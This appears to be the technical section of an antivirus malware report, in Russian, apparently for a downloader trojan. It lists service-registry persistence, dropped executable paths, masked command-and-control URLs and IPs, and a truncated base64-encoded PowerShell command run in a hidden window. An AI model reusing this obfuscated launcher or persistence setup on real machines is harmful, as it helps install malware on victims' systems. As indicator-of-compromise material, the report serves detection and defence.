Техническая информация
- [<HKLM>\System\CurrentControlSet\Services\fthsvc] 'Start' = '00000002'
- [<HKLM>\System\CurrentControlSet\Services\fthsvc] 'ImagePath' = '"%WINDIR%\SysWOW64\HelpPaneProxy\fthsvc.exe"'
- 'fthsvc' "%WINDIR%\SysWOW64\HelpPaneProxy\fthsvc.exe"
- 'fthsvc' %WINDIR%\SysWOW64\HelpPaneProxy\fthsvc.exe
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -ENCOD JABPAHoAbAByAHIAYgBoAD0AKAAoACcAUgA1ADcAJwArACcAOAAnACkAKwAoACcAYgB2ACcAKwAnAGgAJwApACkAOwAmACgAJwBuAGUAJwArACcAdwAtAGkAJwArACcAdABlAG0AJwApACAAJABFAE4AdgA6AFUAUwBlAHIAUA...
- %HOMEPATH%\wk2qcmv\kf2u558\htammz.exe
- %WINDIR%\syswow64\helppaneproxy\fthsvc.exe
- %HOMEPATH%\wk2qcmv\kf2u558\htammz.exe в %WINDIR%\syswow64\helppaneproxy\fthsvc.exe
- '76.##8.54.203':80
- http://sy####secoffee.com/customer/jzN/
- http://76.##8.54.203/SnO1JsSO4eR/DxlLn9E7bDGhAFQ0J8F/Wgi2uEONlx3PULL9Y8t/4U7dZBXAc9I3ZR/BTsnGIYqw90Bi7qg/2lb47e/
- DNS ASK sy####secoffee.com
- '%HOMEPATH%\wk2qcmv\kf2u558\htammz.exe'
- '%WINDIR%\syswow64\helppaneproxy\fthsvc.exe'
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -ENCOD JABPAHoAbAByAHIAYgBoAD0AKAAoACcAUgA1ADcAJwArACcAOAAnACkAKwAoACcAYgB2ACcAKwAnAGgAJwApACkAOwAmACgAJwBuAGUAJwArACcAdwAtAGkAJwArACcAdABlAG0AJwApACAAJABFAE4AdgA6AFUAUwBlAHIAUA...' (со скрытым окном)